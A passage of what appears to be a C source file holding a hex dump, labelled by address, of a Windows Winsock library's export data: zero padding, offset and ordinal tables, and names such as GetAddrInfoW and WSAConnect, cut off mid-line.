\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11720 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11730 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11740 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11750 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11760 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11770 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11780 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11790 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117B0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117C0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A117F0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11800 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11810 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11820 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11830 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11840 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11850 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11860 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11870 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11880 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11890 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118B0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118C0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A118F0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11900 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11910 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11920 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11930 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11940 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11950 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11960 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11970 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11980 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11990 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119A0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119B0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119C0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119D0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A119F0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A00 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A10 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A20 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A30 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A40 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A50 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A60 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A70 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A80 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11A90 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AA0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AB0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AC0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AD0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AE0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11AF0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B00 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B10 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B20 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B30 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B40 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B50 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B60 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B70 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B80 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11B90 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BA0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BB0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BC0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BD0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BE0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 71A11BF0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x21\\x01\\x00\\xC5\\x1E\\x00\\x00\" // ........\u0005!\u0001.Å\u001e..\n/* 71A11C00 */ \"\\xD3\\x1E\\x00\\x00\\xE0\\x1E\\x00\\x00\\xED\\x1E\\x00\\x00\\xF1\\x1E\\x00\\x00\" // Ó\u001e..à\u001e..í\u001e..ñ\u001e..\n/* 71A11C10 */ \"\\x0E\\x1F\\x00\\x00\\x18\\x1F\\x00\\x00\\x2C\\x1F\\x00\\x00\\x40\\x1F\\x00\\x00\" // \u000e\u001f..\u0018\u001f..,\u001f..@\u001f..\n/* 71A11C20 */ \"\\x56\\x1F\\x00\\x00\\x6C\\x1F\\x00\\x00\\x83\\x1F\\x00\\x00\\x9C\\x1F\\x00\\x00\" // V\u001f..l\u001f..\u001f..\u001f..\n/* 71A11C30 */ \"\\xB2\\x1F\\x00\\x00\\xC8\\x1F\\x00\\x00\\xD7\\x1F\\x00\\x00\\xED\\x1F\\x00\\x00\" // ²\u001f..È\u001f..×\u001f..í\u001f..\n/* 71A11C40 */ \"\\x03\\x20\\x00\\x00\\x0E\\x20\\x00\\x00\\x1C\\x20\\x00\\x00\\x27\\x20\\x00\\x00\" // \u0003 ..\u000e ..\u001c ..' ..\n/* 71A11C50 */ \"\\x36\\x20\\x00\\x00\\x4A\\x20\\x00\\x00\\x5E\\x20\\x00\\x00\\x79\\x20\\x00\\x00\" // 6 ..J ..^ ..y ..\n/* 71A11C60 */ \"\\x94\\x20\\x00\\x00\\xA9\\x20\\x00\\x00\\xBB\\x20\\x00\\x00\\xCD\\x20\\x00\\x00\" //  ..© ..» ..Í ..\n/* 71A11C70 */ \"\\xDC\\x20\\x00\\x00\\xEC\\x20\\x00\\x00\\x03\\x21\\x00\\x00\\x13\\x21\\x00\\x00\" // Ü ..ì ..\u0003!..\u0013!..\n/* 71A11C80 */ \"\\x2B\\x21\\x00\\x00\\x43\\x21\\x00\\x00\\x64\\x21\\x00\\x00\\x85\\x21\\x00\\x00\" // +!..C!..d!..!..\n/* 71A11C90 */ \"\\x8E\\x21\\x00\\x00\\x97\\x21\\x00\\x00\\xAF\\x21\\x00\\x00\\xC7\\x21\\x00\\x00\" // !..!..¯!..Ç!..\n/* 71A11CA0 */ \"\\xD0\\x21\\x00\\x00\\xDE\\x21\\x00\\x00\\xEA\\x21\\x00\\x00\\x01\\x22\\x00\\x00\" // Ð!..Þ!..ê!..\u0001\"..\n/* 71A11CB0 */ \"\\x18\\x22\\x00\\x00\\x2C\\x22\\x00\\x00\\x42\\x22\\x00\\x00\\x58\\x22\\x00\\x00\" // \u0018\"..,\"..B\"..X\"..\n/* 71A11CC0 */ \"\\x64\\x22\\x00\\x00\\x6D\\x22\\x00\\x00\\x76\\x22\\x00\\x00\\x8E\\x22\\x00\\x00\" // d\"..m\"..v\"..\"..\n/* 71A11CD0 */ \"\\x96\\x22\\x00\\x00\\xA8\\x22\\x00\\x00\\xB4\\x22\\x00\\x00\\xCA\\x22\\x00\\x00\" // \"..¨\"..´\"..Ê\"..\n/* 71A11CE0 */ \"\\xD8\\x22\\x00\\x00\\xE0\\x22\\x00\\x00\\xF2\\x22\\x00\\x00\\xFC\\x22\\x00\\x00\" // Ø\"..à\"..ò\"..ü\"..\n/* 71A11CF0 */ \"\\x0F\\x23\\x00\\x00\\x1B\\x23\\x00\\x00\\x2B\\x23\\x00\\x00\\x3A\\x23\\x00\\x00\" // \u000f#..\u001b#..+#..:#..\n/* 71A11D00 */ \"\\x49\\x23\\x00\\x00\\x54\\x23\\x00\\x00\\x5F\\x23\\x00\\x00\\x6A\\x23\\x00\\x00\" // I#..T#.._#..j#..\n/* 71A11D10 */ \"\\x7E\\x23\\x00\\x00\\x92\\x23\\x00\\x00\\xA8\\x23\\x00\\x00\\xC1\\x23\\x00\\x00\" // ~#..#..¨#..Á#..\n/* 71A11D20 */ \"\\xD4\\x23\\x00\\x00\\xE9\\x23\\x00\\x00\\xFD\\x23\\x00\\x00\\x0E\\x24\\x00\\x00\" // Ô#..é#..ý#..\u000e$..\n/* 71A11D30 */ \"\\x21\\x24\\x00\\x00\\x35\\x24\\x00\\x00\\x48\\x24\\x00\\x00\\x5E\\x24\\x00\\x00\" // !$..5$..H$..^$..\n/* 71A11D40 */ \"\\x70\\x24\\x00\\x00\\x87\\x24\\x00\\x00\\x9D\\x24\\x00\\x00\\xAA\\x24\\x00\\x00\" // p$..$..$..ª$..\n/* 71A11D50 */ \"\\xB1\\x24\\x00\\x00\\xB6\\x24\\x00\\x00\\xC2\\x24\\x00\\x00\\xCA\\x24\\x00\\x00\" // ±$..¶$..Â$..Ê$..\n/* 71A11D60 */ \"\\xD7\\x24\\x00\\x00\\xE3\\x24\\x00\\x00\\xF1\\x24\\x00\\x00\\xFF\\x24\\x00\\x00\" // ×$..ã$..ñ$..ÿ$..\n/* 71A11D70 */ \"\\x0B\\x25\\x00\\x00\\x17\\x25\\x00\\x00\\x23\\x25\\x00\\x00\\x32\\x25\\x00\\x00\" // \u000b%..\u0017%..#%..2%..\n/* 71A11D80 */ \"\\x43\\x25\\x00\\x00\\x51\\x25\\x00\\x00\\x5F\\x25\\x00\\x00\\x6B\\x25\\x00\\x00\" // C%..Q%.._%..k%..\n/* 71A11D90 */ \"\\x76\\x25\\x00\\x00\\x7C\\x25\\x00\\x00\\x82\\x25\\x00\\x00\\x8C\\x25\\x00\\x00\" // v%..|%..%..%..\n/* 71A11DA0 */ \"\\x96\\x25\\x00\\x00\\xA2\\x25\\x00\\x00\\xA9\\x25\\x00\\x00\\xAF\\x25\\x00\\x00\" // %..¢%..©%..¯%..\n/* 71A11DB0 */ \"\\xB5\\x25\\x00\\x00\\xBA\\x25\\x00\\x00\\xC3\\x25\\x00\\x00\\xCA\\x25\\x00\\x00\" // µ%..º%..Ã%..Ê%..\n/* 71A11DC0 */ \"\\xCF\\x25\\x00\\x00\\xD6\\x25\\x00\\x00\\xE1\\x25\\x00\\x00\\xEA\\x25\\x00\\x00\" // Ï%..Ö%..á%..ê%..\n/* 71A11DD0 */ \"\\x1A\\x00\\x17\\x00\\x18\\x00\\xF3\\x01\\x1B\\x00\\x1C\\x00\\x1D\\x00\\x1E\\x00\" // \u001a.\u0017.\u0018.ó\u0001\u001b.\u001c.\u001d.\u001e.\n/* 71A11DE0 */ \"\\x65\\x00\\x66\\x00\\x68\\x00\\x67\\x00\\x6A\\x00\\x69\\x00\\x64\\x00\\x6B\\x00\" // e.f.h.g.j.i.d.k.\n/* 71A11DF0 */ \"\\x70\\x00\\x73\\x00\\x1F\\x00\\x20\\x00\\x21\\x00\\x22\\x00\\x23\\x00\\x24\\x00\" // p.s.\u001f. .!.\".#.$.\n/* 71A11E00 */ \"\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\\x29\\x00\\x6E\\x00\\x2A\\x00\\x2B\\x00\" // %.&.'.(.).n.*.+.\n/* 71A11E10 */ \"\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\\x31\\x00\\x39\\x00\\x3A\\x00\" // ,.-.../.0.1.9.:.\n/* 71A11E20 */ \"\\x3B\\x00\\x71\\x00\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\\x41\\x00\" // ;.q.<.=.>.?.@.A.\n/* 71A11E30 */ \"\\x42\\x00\\x43\\x00\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\\x49\\x00\" // B.C.D.E.F.G.H.I.\n/* 71A11E40 */ \"\\x4A\\x00\\x4B\\x00\\x4C\\x00\\x4D\\x00\\x6C\\x00\\x4E\\x00\\x6F\\x00\\x4F\\x00\" // J.K.L.M.l.N.o.O.\n/* 71A11E50 */ \"\\x50\\x00\\x51\\x00\\x52\\x00\\x72\\x00\\x53\\x00\\x54\\x00\\x6D\\x00\\x55\\x00\" // P.Q.R.r.S.T.m.U.\n/* 71A11E60 */ \"\\x19\\x00\\x56\\x00\\x57\\x00\\x58\\x00\\x59\\x00\\x5A\\x00\\x5B\\x00\\x5C\\x00\" // \u0019.V.W.X.Y.Z.[.\\.\n/* 71A11E70 */ \"\\x5D\\x00\\x5E\\x00\\x5F\\x00\\x96\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x03\\x00\" // ].^._....\u0001.\u0002.\u0003.\n/* 71A11E80 */ \"\\x60\\x00\\x61\\x00\\x32\\x00\\x33\\x00\\x38\\x00\\x62\\x00\\x04\\x00\\x34\\x00\" // `.a.2.3.8.b.\u0004.4.\n/* 71A11E90 */ \"\\x35\\x00\\x36\\x00\\x37\\x00\\x05\\x00\\x06\\x00\\x07\\x00\\x08\\x00\\x0A\\x00\" // 5.6.7.\u0005.\u0006.\u0007.\b...\n/* 71A11EA0 */ \"\\x0B\\x00\\x09\\x00\\x0C\\x00\\x0D\\x00\\x0E\\x00\\x0F\\x00\\x10\\x00\\x11\\x00\" // \u000b.......\u000e.\u000f.\u0010.\u0011.\n/* 71A11EB0 */ \"\\x12\\x00\\x13\\x00\\x14\\x00\\x15\\x00\\x16\\x00\\x57\\x53\\x32\\x5F\\x33\\x32\" // \u0012.\u0013.\u0014.\u0015.\u0016.WS2_32\n/* 71A11EC0 */ \"\\x2E\\x64\\x6C\\x6C\\x00\\x46\\x72\\x65\\x65\\x41\\x64\\x64\\x72\\x49\\x6E\\x66\" // .dll.FreeAddrInf\n/* 71A11ED0 */ \"\\x6F\\x57\\x00\\x47\\x65\\x74\\x41\\x64\\x64\\x72\\x49\\x6E\\x66\\x6F\\x57\\x00\" // oW.GetAddrInfoW.\n/* 71A11EE0 */ \"\\x47\\x65\\x74\\x4E\\x61\\x6D\\x65\\x49\\x6E\\x66\\x6F\\x57\\x00\\x57\\x45\\x50\" // GetNameInfoW.WEP\n/* 71A11EF0 */ \"\\x00\\x57\\x50\\x55\\x43\\x6F\\x6D\\x70\\x6C\\x65\\x74\\x65\\x4F\\x76\\x65\\x72\" // .WPUCompleteOver\n/* 71A11F00 */ \"\\x6C\\x61\\x70\\x70\\x65\\x64\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x00\\x57\\x53\" // lappedRequest.WS\n/* 71A11F10 */ \"\\x41\\x41\\x63\\x63\\x65\\x70\\x74\\x00\\x57\\x53\\x41\\x41\\x64\\x64\\x72\\x65\" // AAccept.WSAAddre\n/* 71A11F20 */ \"\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x41\\x00\\x57\\x53\\x41\\x41\" // ssToStringA.WSAA\n/* 71A11F30 */ \"\\x64\\x64\\x72\\x65\\x73\\x73\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x57\\x00\" // ddressToStringW.\n/* 71A11F40 */ \"\\x57\\x53\\x41\\x41\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x48\\x6F\\x73\\x74\\x42\" // WSAAsyncGetHostB\n/* 71A11F50 */ \"\\x79\\x41\\x64\\x64\\x72\\x00\\x57\\x53\\x41\\x41\\x73\\x79\\x6E\\x63\\x47\\x65\" // yAddr.WSAAsyncGe\n/* 71A11F60 */ \"\\x74\\x48\\x6F\\x73\\x74\\x42\\x79\\x4E\\x61\\x6D\\x65\\x00\\x57\\x53\\x41\\x41\" // tHostByName.WSAA\n/* 71A11F70 */ \"\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x50\\x72\\x6F\\x74\\x6F\\x42\\x79\\x4E\\x61\" // syncGetProtoByNa\n/* 71A11F80 */ \"\\x6D\\x65\\x00\\x57\\x53\\x41\\x41\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x50\\x72\" // me.WSAAsyncGetPr\n/* 71A11F90 */ \"\\x6F\\x74\\x6F\\x42\\x79\\x4E\\x75\\x6D\\x62\\x65\\x72\\x00\\x57\\x53\\x41\\x41\" // otoByNumber.WSAA\n/* 71A11FA0 */ \"\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x42\\x79\\x4E\\x61\\x6D\" // syncGetServByNam\n/* 71A11FB0 */ \"\\x65\\x00\\x57\\x53\\x41\\x41\\x73\\x79\\x6E\\x63\\x47\\x65\\x74\\x53\\x65\\x72\" // e.WSAAsyncGetSer\n/* 71A11FC0 */ \"\\x76\\x42\\x79\\x50\\x6F\\x72\\x74\\x00\\x57\\x53\\x41\\x41\\x73\\x79\\x6E\\x63\" // vByPort.WSAAsync\n/* 71A11FD0 */ \"\\x53\\x65\\x6C\\x65\\x63\\x74\\x00\\x57\\x53\\x41\\x43\\x61\\x6E\\x63\\x65\\x6C\" // Select.WSACancel\n/* 71A11FE0 */ \"\\x41\\x73\\x79\\x6E\\x63\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x00\\x57\\x53\\x41\" // AsyncRequest.WSA\n/* 71A11FF0 */ \"\\x43\\x61\\x6E\\x63\\x65\\x6C\\x42\\x6C\\x6F\\x63\\x6B\\x69\\x6E\\x67\\x43\\x61\" // CancelBlockingCa\n/* 71A12000 */ \"\\x6C\\x6C\\x00\\x57\\x53\\x41\\x43\\x6C\\x65\\x61\\x6E\\x75\\x70\\x00\\x57\\x53\" // ll.WSACleanup.WS\n/* 71A12010 */ \"\\x41\\x43\\x6C\\x6F\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x53\\x41\\x43\" // ACloseEvent.WSAC\n/* 71A12020 */ \"\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x57\\x53\\x41\\x43\\x72\\x65\\x61\\x74\\x65\" // onnect.WSACreate\n/* 71A12030 */ \"\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x53\\x41\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\" // Event.WSADuplica\n/* 71A12040 */ \"\\x74\\x65\\x53\\x6F\\x63\\x6B\\x65\\x74\\x41\\x00\\x57\\x53\\x41\\x44\\x75\\x70\" // teSocketA.WSADup\n/* 71A12050 */ \"\\x6C\\x69\\x63\\x61\\x74\\x65\\x53\\x6F\\x63\\x6B\\x65\\x74\\x57\\x00\\x57\\x53\" // licateSocketW.WS\n/* 71A12060 */ \"\\x41\\x45\\x6E\\x75\\x6D\\x4E\\x61\\x6D\\x65\\x53\\x70\\x61\\x63\\x65\\x50\\x72\" // AEnumNameSpacePr\n/* 71A12070 */ \"\\x6F\\x76\\x69\\x64\\x65\\x72\\x73\\x41\\x00\\x57\\x53\\x41\\x45\\x6E\\x75\\x6D\" // ovidersA.WSAEnum\n/* 71A12080 */ \"\\x4E\\x61\\x6D\\x65\\x53\\x70\\x61\\x63\\x65\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\" // NameSpaceProvide\n/* 71A12090 */ \"\\x72\\x73\\x57\\x00\\x57\\x53\\x41\\x45\\x6E\\x75\\x6D\\x4E\\x65\\x74\\x77\\x6F\" // rsW.WSAEnumNetwo\n/* 71A120A0 */ \"\\x72\\x6B\\x45\\x76\\x65\\x6E\\x74\\x73\\x00\\x57\\x53\\x41\\x45\\x6E\\x75\\x6D\" // rkEvents.WSAEnum\n/* 71A120B0 */ \"\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x73\\x41\\x00\\x57\\x53\\x41\\x45\\x6E\" // ProtocolsA.WSAEn\n/* 71A120C0 */ \"\\x75\\x6D\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x73\\x57\\x00\\x57\\x53\\x41\" // umProtocolsW.WSA\n/* 71A120D0 */ \"\\x45\\x76\\x65\\x6E\\x74\\x53\\x65\\x6C\\x65\\x63\\x74\\x00\\x57\\x53\\x41\\x47\" // EventSelect.WSAG\n/* 71A120E0 */ \"\\x65\\x74\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\\x00\\x57\\x53\\x41\\x47\" // etLastError.WSAG\n/* 71A120F0 */ \"\\x65\\x74\\x4F\\x76\\x65\\x72\\x6C\\x61\\x70\\x70\\x65\\x64\\x52\\x65\\x73\\x75\" // etOverlappedResu\n/* 71A12100 */ \"\\x6C\\x74\\x00\\x57\\x53\\x41\\x47\\x65\\x74\\x51\\x4F\\x53\\x42\\x79\\x4E\\x61\" // lt.WSAGetQOSByNa\n/* 71A12110 */ \"\\x6D\\x65\\x00\\x57\\x53\\x41\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\" // me.WSAGetService\n/* 71A12120 */ \"\\x43\\x6C\\x61\\x73\\x73\\x49\\x6E\\x66\\x6F\\x41\\x00\\x57\\x53\\x41\\x47\\x65\" // ClassInfoA.WSAGe\n/* 71A12130 */ 